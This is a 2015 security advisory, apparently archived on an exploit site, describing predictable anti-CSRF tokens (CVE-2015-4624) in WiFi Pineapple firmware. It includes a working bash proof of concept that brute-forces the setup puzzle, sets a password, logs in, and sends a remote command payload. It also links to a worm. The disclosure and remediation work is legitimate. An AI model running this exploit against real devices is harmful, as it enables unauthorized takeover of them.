what you don't know can hurt you

WiFi Pineapple Predictable CSRF Token

WiFi Pineapple Predictable CSRF Token
Posted Aug 12, 2015
Authored by catatonicprime

WiFi Pineapples with firmware versions 2.3.0 and below suffer from using a predictable cross site request forgery token.

tags | exploit, csrf
advisories | CVE-2015-4624
MD5 | 496db4b3ef740c44df957c4fc2104e68

WiFi Pineapple Predictable CSRF Token

Change Mirror Download
Overview
===============
WiFi Pineapples are a penetration testing tool used in offensive
wireless activities. These devices run on a modified OpenWRT (based on
netBSD) operating system. They include a web-based management
interface.

It has been discovered they have predictable anti-CSRF tokens based on
the session ID, which generally would be a non-issue except combined
with a number of other minor configurations may allow devices to be
compromised.

Analysis
===============
In the php processor on the WiFi Pineapple a session can be generated
by making any page request or optionally a session can be specified by
setting the PHPSESSID cookie to any value. In either case an anti-CSRF
token is generated once a user is successfully logged in. This token
is generated by:

$_SESSION['_csrfToken'] = sha1(session_id());

As near as I can tell this does not have a significant impact on
devices which have been fully configured. However on devices which are
Out-Of-The-Box (OOTB) configured this leads to the ability to execute
commands without fully configuring the device. Utilizing a default
password or brute forcing the LED challenge (v2.0.0-v2.3.0) to set a
known password and using that may allow an attacker to successfully
login and pass CSRF checks using a priori knowledge of the session or
taking the time to calculate it during the login process.

This appears to be unintentional as the antiCSRF token is only ever
passed to an authenticated client after the device is fully
configured.

New devices may be identified by a broadcast SSID. This SSID generally
takes the form of Pineapple5_ABCD.

Here is a brief PoC demonstrating these processes. Apologies if this
is missing some information, it's been pulled from a pineapple
infecting worm and reduced for some semblance of brevity. The original
worm may be found here and is designed to be run on a WiFi pineapple:
https://github.com/catatonicprime/TospoVirus

PoC (bash)
===============
creds="username=root&password=pineapplesareyummy&login="
sessid="poc"
token="_csrfToken=e7c4e8b68f57f84a75d3802ceaf6e41f93a7fca0"

post() {
len=`printf "$2" | wc -c`
printf "POST $1 HTTP/1.1\r\nHost:
172.16.42.1:1471\r\nContent-Type:
application/x-www-form-urlencoded\r\nCookie:
PHPSESSID=$3\r\nContent-Length: $len\r\nConnection: close\r\n\r\n$2" |
nc 172.16.42.1 1471
}

#Function solves the LED puzzle
bf() {
echo "Brute forcing..."
session=`printf 'HEAD /?action=verify_pineapple
HTTP/1.1\nHost: 172.16.42.1:1471\nConnection: close\n\n' | nc
172.16.42.1 1471 | egrep -om1 '[0-9a-z]{32}'`
for n in `seq 1 $1`
do
echo "Trying $n time..."
#change the puzzle until it matches our solution,
which is all lights on.
post "/?action=verify_pineapple"
"green=on&amber=on&blue=on&red=on&verify_pineapple=Continue"
"$session" | grep "password" && post "/?action=set_password"
"password=pineapplesareyummy&password2=pineapplesareyummy&eula=1&sw_license=1&set_password=Set+Password"
"$session" | grep "success" && return 0
done
#return 1 - Failed!
return 1
}
#Uses the post function to login for this session "poc"
#Once logged in other actions may be performed.
login() {
echo "Logging in..."
post '/includes/api/login.php'
"username=root&password=pineapplesareyummy&login=" "$sessid" | grep -i
'invalid username' && return 1
echo "Logged in Successfully!"
#return 0 - Succeeded!
return 0
}

login || (bf 75 && login || exit)
post '/components/system/configuration/functions.php?execute='
"$token&commands=[PAYLOAD]" "$sessid"

===============END PoC

Timeline
===============

Unknown - Discovered multiple bugs in product
06/26/15 - Disclosed vulnerabilities to the vendor
08/04/15 - Vendor released firmware patching vulnerabilities

CVE(s)
===============
CVE-2015-4624: Predictable CSRF tokens in WiFi Pineapple firmware <= 2.3.0

Remediation
===============
Upgrade to the latest firmware (v2.4.0).

Special Thanks
===============
Special thanks to Seb & Darren @hak5 for patching these bugs and
generally being chill. If you have bugs in any of hak5's gear they
accept bug reports here: bugs@hak5.org

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

August 2019

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Aug 1st
    10 Files
  • 2
    Aug 2nd
    8 Files
  • 3
    Aug 3rd
    2 Files
  • 4
    Aug 4th
    1 Files
  • 5
    Aug 5th
    15 Files
  • 6
    Aug 6th
    79 Files
  • 7
    Aug 7th
    16 Files
  • 8
    Aug 8th
    10 Files
  • 9
    Aug 9th
    10 Files
  • 10
    Aug 10th
    0 Files
  • 11
    Aug 11th
    6 Files
  • 12
    Aug 12th
    26 Files
  • 13
    Aug 13th
    15 Files
  • 14
    Aug 14th
    19 Files
  • 15
    Aug 15th
    52 Files
  • 16
    Aug 16th
    11 Files
  • 17
    Aug 17th
    1 Files
  • 18
    Aug 18th
    2 Files
  • 19
    Aug 19th
    18 Files
  • 20
    Aug 20th
    19 Files
  • 21
    Aug 21st
    0 Files
  • 22
    Aug 22nd
    0 Files
  • 23
    Aug 23rd
    0 Files
  • 24
    Aug 24th
    0 Files
  • 25
    Aug 25th
    0 Files
  • 26
    Aug 26th
    0 Files
  • 27
    Aug 27th
    0 Files
  • 28
    Aug 28th
    0 Files
  • 29
    Aug 29th
    0 Files
  • 30
    Aug 30th
    0 Files
  • 31
    Aug 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2019 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close